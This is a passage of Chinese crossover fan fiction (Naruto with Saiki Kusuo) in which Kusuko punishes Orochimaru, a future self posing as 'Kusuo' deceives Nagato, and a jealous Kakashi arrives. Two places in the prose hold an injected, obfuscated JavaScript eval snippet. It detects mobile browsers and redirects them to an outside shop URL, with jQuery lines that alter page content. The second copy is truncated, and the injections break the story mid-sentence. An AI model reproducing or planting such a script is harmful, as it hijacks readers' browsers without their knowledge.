那些不知从何处来,不知怎么来的“人”,只是在睡觉而已! 他终于搞清楚了兜恐惧的来源,也明白了楠子的力量,根本不是属于人的,而是属于神的。 多么可笑,他穷尽一生,追求科学的力量,可是,他的眼前居然有个活生生的神! 大蛇丸看着楠子的眼神充满了渴望。 但楠子早就做出了决定。 ‘还是杀死吧。’她想着,刚迈出一步,澄澈的水雾缓缓升腾,努力聚集,在半空凝聚成一个小小的孩童人影,那是海灵琥珀。 “救了救了!”她高兴地上下浮动,“原谅了,原谅了!” 楠子有些无语,“你原谅什么?死得又不是你。” “活了活了!”她像是趁着楠子没注意一般,极快地围绕那堆躺睡着的人一转,又挡在了大蛇丸与楠子中间。 水母一样的手不知道从哪里找出了那完好无损的蛋糕,捧到了楠子的面前,声音软糯又轻柔,干净得不含一丝杂质。 “不要,难过。” 楠子的眼皮一跳,低喝道:“我没有难过!” 无形的超能力力场瞬间彻底铺开,将大蛇丸的身躯牢牢禁锢在原地。 ‘啧……’楠子重重拍了一下自己的额头。 她才不要成为大家眼中的“傲娇”。 可是,自己怎么能骗得过自己呢? 她方才根本没有保护那个蛋糕的举动,所以现在海灵琥珀能够拿出的蛋糕,也一定是“齐木楠雄”搞得鬼! 所以未来的她承认了吗?承认自己在为杀死师父而伤心吗? 怎·么·会? 她怎么会因为杀死这样一个人渣而伤心呢? ‘不可能!’楠子眼神一厉,再次抬手,可眼前大蛇丸,竟然“呲溜”一声,滑跪了。 “抱歉!楠子!是我太过无知了!我竟然会做出那样的邪恶之事,简直足以被千刀万剐!坠入油烹地狱!楠子,我……我愿意用我的余生来补偿这些孩子,或、或者……” 他咬了咬牙,微微抬眼,道:“让我来体验一下他们所经受的痛楚!十倍!百倍都可以! “楠子啊,我到底是你的师父啊!难道,你不能再给我一个机会吗?我保证,我以后绝对不会行差踏错一步!” 楠子反而觉得不可思议到了丢脸的地步,“师父,你难道没有所谓的廉耻吗?” 大蛇丸骤然抬起了头,目光灼灼,“因为我想起来了!你的兄长,楠雄!昨天,我收到了他的信,‘为了不让我们双方都后悔,若是有一天,濒临绝境,记得求饶啊’!” “什么?”楠子不敢置信,主要是她不觉得自己会跑去和大蛇丸说这些。 难不成自己还会后悔杀死大蛇丸? 怎么可能? 76.未来的自己 原本楠子还有些怀疑,但是随着大蛇丸的诉说,她就知道自己根本就是被骗了。 她,齐木楠子,根本不可能因为杀死大蛇丸而后悔! 可想要再次动手的时刻,她忽而看到了药师兜。 目光一转,原本想要下的杀手,到底变了一变。 她肃着脸,道:“师父,我给你一条活路,你说对于弱者来说,被强者利用反而是荣幸。现在,我才是强者,不如,你来体会一下那些实验体所经历的一切,如何?” 楠子能清晰地看见大蛇丸的嘴角抽动了一下,眼睛里也闪动着后怕的情绪。 ‘原来,你也会恐惧这种事情啊。’但楠子更清楚,他除了会恐惧这些,恐怕更会乞活。 “好、好的,楠子!呵,你也明白的吧,我……呃。” 金色的兽瞳猛地睁大,所有实验体承受过的一切痛苦,一切经历,被楠子尽数“挪动”,而后一股脑儿地灌注入大蛇丸的身体之中。 看着大蛇丸的身躯瞬间剧烈震颤起来,浑身肌肉不受控制地抽搐,惨白的肌肤更是失去所有血色,冷汗顺着脖颈不断滑落,浸透了周身的衣物。常年维持的从容优雅,在极致的痛苦面前彻底碎裂,荡然无存。 那些活体拆解的剧痛,那些查克拉被强行抽离的冰冷之感,在黑暗无望中恐惧死亡的时刻,以及日日夜夜欲求死而不能的时刻…… 想必,她的师父大蛇丸,会做个好梦吧? “兜。” “楠、楠子大人……” 紫色的眼珠偏转了些许,楠子望着药师兜,以及接收到对方恐惧的心声。 那份恐惧不仅仅是因为违逆了自己,而且也是方才经历了数次的大脑空白,一时之间,根本没能将自己的位置从“背叛者”向着“弟弟”挪移。 但没关系,他该受到一个教训。 楠子垂下目光,“你带着大蛇丸,去雨隐村吧,泉奈大人会知道如何处置的。” 药师兜激动地大喊,“可、可是!” “没有可是,”看着兜因自己的一个眼神,一句话,瑟缩起来,楠子也觉得心中冰寒。 可这大概就是“神”的道路了,被人恐惧也实属正常。 她继续道:“我会向木叶汇报大蛇丸大人带着你叛逃的消息,至于你是被挟持,还是一起离开,就看你之后的表现了。” “……是。” 楠子的目光又投向了大蛇丸,这位曾经是她师父的忍者,已经褪去了一切优雅的表象。 在庞然的力量面前,所谓的忍者,又有什么可骄傲的呢? 她得提醒他这一点啊。 原本海灵琥珀手上的蛋糕无风自动,浓稠的奶油在众人惊讶的眼神中簌簌飘落成飞灰,最后缠绕住蜡烛,凝结成一道半灰半白的锁链。 只一眼,大蛇丸额头上的头箍就忽而碎裂,转而是她手中的锁链缠绕住对方的脖颈。 楠子走到了大蛇丸的面前,垂眸看着对方越发惊恐的眼神,手掌轻抚在了他的肩膀上,紫色的发丝垂下。 她在他的耳侧说:“祝你生日快乐呀,师父。” 她知道,他听得到。 ----------------- 大蛇丸引发的事件余波渐息,海之祭换做了普通的祭典,海之国也风平浪静。 长门目光复杂地看着那原本应该有冰塔矗立的地方,那里如今已变回原本的黑色礁石,和前些日子分毫不差。 海之国的民众似乎对那一夜的天象变化毫无察觉,只当那一天晚上,天上在下鱼,真的是鱼,而不是大海带来的雨滴。 而后又被海里来的大海蛇一下子吞没——就像是在玩贪食蛇。 长门不知道“贪食蛇”是什么,海之国的民众也不知道,但是脑海中就是有个意识在告诉他们,那就是贪食蛇。 ‘连意识都可以完全扭转,这……就是属于楠子大人的力量吗?’ 比起海之国的民众,因为处在“风暴之眼”,长门脑子里被塞入了更多的东西。 他不知道什么《宝○梦》,也不知道什么《海○王》,但有那么一个瞬间,他似乎真的感觉到自己成了训练家或者海贼,想要登上白银山进行挑战,或者和弥彦一起出海寻找One Piece。 ‘那究竟都是什么东西啊?’长门紧皱着眉头。 “呀嘞呀嘞,长门,那座山还有什么不妥吗?” 长门一惊,身后赫然是不知何时出现的“楠雄”大人。 他的身高比半月前的见面似乎高了几分,粉色的头发也长了些许,在脑后松松一扎,斜斜的刘海遮住了半只眼睛。 底下的金丝眼镜似乎在暗暗闪光,双手插兜,似笑非笑的神情和此前见过的“楠雄”大人截然不同。 可正是他,在几天前他发现楠子大人不在时,出现在了海岸边上,在简单询问了他几个问题之后,将他送到了楠子大人的身边。 那是类似飞雷神一般的忍术,却连结印都不需要。 只是现在,他的心中也不由得升起了几分埋怨。 “楠雄大人,您是知道楠子大人会经受那样的事吧?为什么您当初不出现呢?” 如果他出现的话,至少楠子大人应该不会像是那样,因为大蛇丸人品低劣而失控吧! “额?……嘛。”“楠雄”大人竟然移开了眼睛,微微扬起下巴,显得遗世而独立,“因为我当初以为,那样也还不错呢?” 长门不知道,眼前的“楠雄”其实就是未来的楠子。 因为时空悖论的规则,一个世界里不可能出现两个“楠子”,所以已经将世界的规则转变之后,过了许久才发现自己铸下大错的楠子,不得不变身“楠雄”,回到这个重要的时间节点,试着改变未来。 这个时间点的楠子是十六岁,而“楠雄”纵然也才十八,心态却已经苍老如“八十”了。 ‘不过,等这次回去,应该就会不一样了吧。’“楠雄”想着,心底不禁也松了口气。 他的超能力不需要什么时间闭环,只要这一个时间节点改变,他所处的那个世界,自然就会有新的记忆灌注,将他这份记忆冲到角落,而后他就可以像是冲马桶一样把它冲干净啦! 他说的轻松,长门的语气却十分严肃,红色的发丝下,轮回眼里写满认真与痛心。 “楠雄大人,我不知道您为何躲着楠子大人,但是连我都能感觉到楠子大人的动摇和伤心。” ‘啊?动摇?伤心?’“楠雄”被唬得一愣一愣的,自从将大蛇丸变成了饭匙蛇,又看着长门牵着一只胡弟就想要攻打犬类宝可梦大师卡卡西所盘踞的白银山,他就再也记不得自己当初是什么感情了。 你到底懂不懂宝○梦对战啊喂!至少要凑够6只再来吧! 这就是“他”那时的想法。 ‘原来那个时候,我真的是动摇和伤心了吗?……不对。’“楠雄”打断了长门,“那个,抱歉,只是我觉得还好啦。……呃,别瞪我啦。好吧好吧,我告诉你吧。” 他推了推眼镜,脑袋灵光一闪,抬起脸来,神色严肃。 “我们俩如果真的一起出现,那就会有一个人死去,世界也会毁灭。唔,就像是你之前感受到的那样。” 他侃侃而谈,随意说了个谎,看着长门震惊不已却纯然信任的目光,“楠雄”早已没了当初的愧疚之心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782132|202822||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这已经成了“神”的齐木楠子,所谓的“人性”也只是模拟出来的。 之所以能把此时的长门当个人看,是因为他到底帮助他扭转了过去,而他也讨厌现在失去人性的自己。 就像是游戏修改器开的太大,反而失去了游戏的兴趣一样。 “楠雄”转过头来,望着那片海域,那个礁堡,那个他最初失去“人性”的地方,笑了起来,“长门,不如,我再拜托你一件事吧。” ----------------- 木叶,旗木卡卡西心中焦躁。 早在一周前,他就想要上交任务后离开木叶,前往海之国。 但是暗部的任务接连不断,人员又短缺,他迫于压力和责任心,不得不暂缓离开。 没想到三日前,木叶接到楠子的忍鹰传信,上面的消息耸人听闻。 “大蛇丸于海之国做人体实验,被戳破后叛逃,药师兜失踪,御手洗红豆失去意识。” ‘那楠子呢?楠子她?’或许是他震惊的神情,连面罩都遮掩不住,三代及时将情报说出,而后毫不犹豫地点出几位暗部忍者,前往海之国。 其中,就有自动请缨的旗木卡卡西。 ‘快一点,再快一点。’他心中既怕楠子受伤,又怕楠子难过,内心里更有一点隐秘的担忧。 长门也在那里,消息中,也正是因为他的存在,大蛇丸才没有伤害楠子和红豆,而是独自逃脱。 若是……楠子因为感激他,所以产生了异样的感情的话,那他到底要如何自处呢? ‘等等,这样想也太卑劣了吧……总不能因为自己的想法,就让楠子受到伤害。’ 而且,自己真的有资格和楠子说这些吗? 危险的时候没有陪伴在她身边,在她被背叛的时候,也没有在她的身边。 没有将自己的心意告诉她,没有体会到她对自己的帮助,还敷衍她的好意。 卡卡西啊卡卡西,你难不成以为是青梅竹马就万事大吉了吗? 这世界上不刚好有句话是“竹马打不过天降”吗? 可恶!他才不要成为败犬啊! 脚步越发快了,暗部忍者旗木卡卡西的气息却越发焦躁,连同行的前辈都发现了他的不妥。 “卡卡西,不必担心。听说雨隐村的长门也在那边呢,他可是个高手。至于楠子她……嘶!” “咔嚓”一声,那暗部忍者惊讶地看着卡卡西脚下断裂的木枝,不知道自己这位天赋卓绝的后辈到底是怎么了。 只有爱偷窥的三代火影眼皮一跳,状若无事地转过头去,默默加快了步伐。 他早就对卡卡西和楠子之间的关系有所耳闻,否则这次也不会特意带上卡卡西前往海之国。 只是想到了弟子大蛇丸,他的心中也是沉重。 就在这样的愁云惨雾之中,海之国近了,近了。 哪怕在海风之中,忍犬帕克也轻易地捕捉到了属于礁堡的海腥味,带领着一众忍者沿着通道进入。 “就在前面了哦,火影大人。”帕克趴在卡卡西的头上,一狗当先,只是看清洞窟里的情景,头一歪,“汪”地一声,直接从卡卡西的脑袋上摔了下来,看天看地,就是不看前方。 只因为前面,正有一对少年少女抱在一起呢。 少女柔粉色的发丝和那纤细的身形被红发少年抱在怀中,哪怕是那神情微有讶异,可两人精致俊美的面容依旧显得缱绻而美好,哪怕是它帕克,都说不出不相配的话。 而它的通灵伙伴,帅帅的旗木卡卡西牙齿咬得咯咯响,恨不得将两人立马拉扯开来,还不得不镇定道: “长门,你是在做什么呢?!” 77.反弹 ‘呀嘞呀嘞,简直震耳欲聋。’ 楠子的身体极力地往后仰着,但卡卡西那熟悉的心音早已撑满她整个耳膜。 【乘虚而入,这绝对是乘虚而入!】 【明明我就错过了一点点而已,怎么会!】 【楠子呢?楠子为什么还不挣脱开他?】 【啊……我明白了,一定是长门死皮赖脸,楠子现在的心情一定很不好,所以才会没躲开。】 【漩涡长门,夺妻之恨,我……】 ‘停停停,到底是怎么就到了夺妻之恨啊!’ 楠子一手盖住了额头,脸涨得通红。 她其实也是完全不明白呢。 明明她只是拜托长门在这里等待木叶一行人,自己瞬移回雨隐村处理大蛇丸和兜的事情,怎么一回来就对上了长门复杂难言、欲言又止、充满怜惜的眼神? “楠子大人,我原本并不明白,可是到了现在,我已经知道了您力量的强大。您恐怕真的足以称得上是这个世界的神啊。” “哦,是吗?”楠子十分警惕,她可真怕长门又搞出一次“我对您一见钟情”之类的乌龙事,尤其陨石还在他身上,她听不见他的心声,更不能理解他的打算。 “只是,我才知道,为什么您不愿意与您的兄长见面,更不相信……”他似乎有些说不下去了。 楠子眉头微皱,她其实早已猜到,是某个未来的自己为了改变这个时间线,所以变身成“楠雄”回到了这个时间点,做出了改变,但看长门那悲伤忧愤的模样,她总不可能是被自己坑了吧? ‘不,不可能。’楠子并不觉得未来的自己会坑自己,所以她只是笑笑,“他告诉你原因了吗?其实……” “居然连您的亲兄弟都在觊觎您的力量,他已经告诉我了,您与您的兄长,之所以不能互相见面,是因为就像是双子星,您两方只要聚在一起,一方选择重建,另一方选择毁灭,就必须有一个死掉,这就是天龙和地龙的命运。” ‘天龙?地龙?这不是《X战记》吗?’ 楠子眨眨眼,张大了嘴,“哈?” “他嘱咐我,要守护您。”在楠子不敢置信的眼神中,长门抬起了眼,笑容中苦涩与幸福交织,“只是,那是他的想法。” 他的神情变得沉静,这下才真的像雨隐村中举足轻重的忍者。 “从前,我一直把您当做神来看待,但是,这一次,我发现了您也有自己的苦恼与忧惧。楠子大人,不……请您允许我叫您楠子。我会保护您,就如同保护我的兄弟姐妹一样,或许您觉得我不自量力,但这真的是我最真挚的想法。” 说真的,现在想想,若不是长门真的长了一张俊秀的脸,她恐怕真的会觉得对方的话,意思就是“别逞强了,你的强来了”哎喂。 可最令她惊讶的,还是长门接下来的举动。 他竟然抬起了手,将那块她亲自给他的陨石递了出来。 “我感谢您的信任,但是我也做好了决定,将我所有的真心袒露给您。”他神色郑重,没有一丝一毫的虚饰。 楠子却瞳孔微缩,根本没想到那个“楠雄”会将这个秘密透露给长门。 那个瞬间,她连如何处理掉长门都想到了啊喂! “楠雄大人说他下了禁制,我也发现了,就算我想要和别人诉说您的力量,也无法说出。” 楠子张了张嘴,长门神色镇定,“您不用介意。楠雄大人说了,男女之间的思维难免有差异,他怕您下不了那样的狠心,最后反而会让我忘记这一切。现在看来,你们兄妹真的是十分了解对方呢。” ‘什么兄妹啊,因为,那就是我啊……’ 楠子虚下眼,看着长门的笑脸,“你现在就是因为你有着那样的禁制,所以打量我绝对不会再用别的方法进行处置是吧?” 是的,她确实不会。 ‘只是……’ 楠子望着那块陨石。 这颗陨石可以屏蔽她的读心,长门明明知道这一点,却还是要将它还给自己。 但,她真的需要一个知道自己会被读心,却以为自己能全心全意接受的人吗? 她不需要。 人都是会变的,哪怕他这一刻怀抱着真心,但是未来等他有了恋人,有了家人,有了更宏大的理想,那自己看到的恐怕就只有仓皇躲藏,腐烂变质的一团腐肉。 何必让两人之间变成那样呢?反正,就算长门想要背叛自己,他也没有任何成功的可能。 她苦笑着摇了摇头,“陨石,你留着吧,你可要好好带着它。打扰我的人已经太多了,倒也不差你一个。” “楠子大人!” 那一刻,不知道是因为太过心潮澎湃还是如何,长门居然直接抱住了她。 这种将所有信任付诸拥抱的行为让楠子发愣,更何况那接连不断涌入脑海的心绪。 信任、感慨、怜惜、崇拜…… 这些激烈的情绪冲击着她情感匮乏的大脑,一时间连她这个世界最强的超能力者都一时宕机,没来得及察觉其他人的到来。 现在看看吧,她到底是造成了怎样的失误。 居然让卡卡西直接爆炸啦! 当然,即便是“爆炸”,旗木卡卡西依旧是旗木卡卡西。 楠子一本正经地汇报了大蛇丸叛逃的始末,主要就是大蛇丸意图诱拐红豆和兜,她察觉到不妥,于是请假前来,路遇长门。 “如果不是长门,恐怕我和红豆没有那么容易反抗大蛇丸……师父。” 说出这句话,楠子如芒在背。 ‘呀嘞呀嘞,别瞪了也别念啦。’她虚下眼,听着卡卡西的心声从恼怒、懊悔转为怜惜。 【被师父背叛,楠子一定很伤心。就算她不做忍者也好……等等,我怎么能有这样卑劣的想法。镇定点啊,卡卡西!一定要先安慰楠子……额,长门,你这个混蛋,给我滚开啊!】 ‘啧……’楠子目移。 明明她还稍微感动了几秒钟呢,只是这半年来,这样激动的卡卡西也并不常见呢。 嘴角抿出一丝苦笑,楠子知道三代火影绝对不会只听信她的一面之词,可是随处可见的科学仪器,外加那些记忆空白的实验体,无疑证明了大蛇丸在隐瞒着些什么。 只是那些实验体无法诉说自己的经历,连原本的实验痕迹都被楠子恢复到“出厂设置”,让大蛇丸的那些实验记录就像是科学疯子的空想一样。 这让三代火影不至于对自己的弟子那样失望,但他也明白,作为火影,他需要给海之国一个解释了。 ----------------- 海之国的岸边,寒风吹拂。 哪怕并未觉得寒冷,楠子依旧拢了拢衣襟。 她方才才经历了暗部忍者的精神审查,现在正接受救治的是红豆。 红豆所经历的那些,才会成为师父大蛇丸叛逃的铁证。 作为暗部跟来的忍者之一,卡卡西完成了他被授予的任务,借着这一点点空隙,脚步几个起落,就落在了楠子的身后。 “楠子。” “嗯?卡卡西。”楠子装作才发现对方的模样,实际上直到方才,她的耳边还不断回响着卡卡西心中对于她名字的“呼唤”呢,好像她的名字和“加油”“努力”,一个意思一样。 可现在对上了卡卡西的眼睛,她才知道自己一开始的判断没错。 今天的旗木卡卡西,绝对会很难缠。 平光镜下,她隐秘地眯了眯眼睛,看着对面帅气的少年暗自整了整衣襟,一步一步地走过来。 他的心脏像是小鼓一般“咚咚”跳个不停,神色却郑重异常,像是要做出什么重大的决定,直到在她的面前站定。 “楠子,关于之前的任务,谢谢你。”【好,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卡卡西震惊地看着她,这大概是因为,在得知自己遇到危险的时候,卡卡西也同样想着这样劝她吧。 楠子心中一哂,摇了摇头,“我是真的想这样劝你的,从前段时间开始就是这样了。但是……总觉得说不出口。因为,如果没有暗部忍者的工作,像我这样的忍者,或者是木叶的平民,恐怕很难安稳地呆在火之国。尤其,在经历了星隐村,以及这次的事件之后。” “楠子,我……”【是啊,现在我,依旧是暗部的忍者,还在想什么告白的事。】 如果他某次死在不光彩的任务之中怎么办?像是那些失踪,或者被迫“叛逃”的前辈们一样,那被留在原地的楠子要…… “卡卡西。”接连不断的想法被楠子的话语打断。 他抬起眼,对上了一双带着无奈的紫色眼眸。 她白皙的面容依旧美丽,眼睛也仿若闪烁着智慧的光芒,话语也一如既往地平静。 “我的师父叛逃了,这件事,可能会影响到我。” “不,不会这样的!”卡卡西断然道,说完才发现自己居然打断了楠子的话,而他之前,甚至没来得及为楠子想上一想。 【为、为什么我……】 “听你这样说,我就放心了。”楠子露出了笑容,“你看,你这里,不还是对木叶抱持着非比寻常的信心吗?” 卡卡西呆愣愣地看着楠子,自她那冷静的面容划到她微微抬起的手臂,而后是那纤细指尖指着的,他的心脏。 他的心脏,怦怦直跳。 “所以,我想着,以天才的你来说,是不是能多做一些,多改变一些呢? “比如说暗部的任务,不同的任务,是不是也可以有多种的解决办法,就像是星隐村那样,有谁都不会受到伤害的方式? “我知道那很难。但是,卡卡西,我觉得,如果是你,应该就能做到呢。” 那双紫水晶一般的眼眸透露着无比的信任,海风带来她发间的馨香。 木叶精英上忍,暗部天才少年旗木卡卡西只觉得头脑被重重砸中,差点儿像是落入了一整片花海。 看着她的脸,他……根本说不出话来。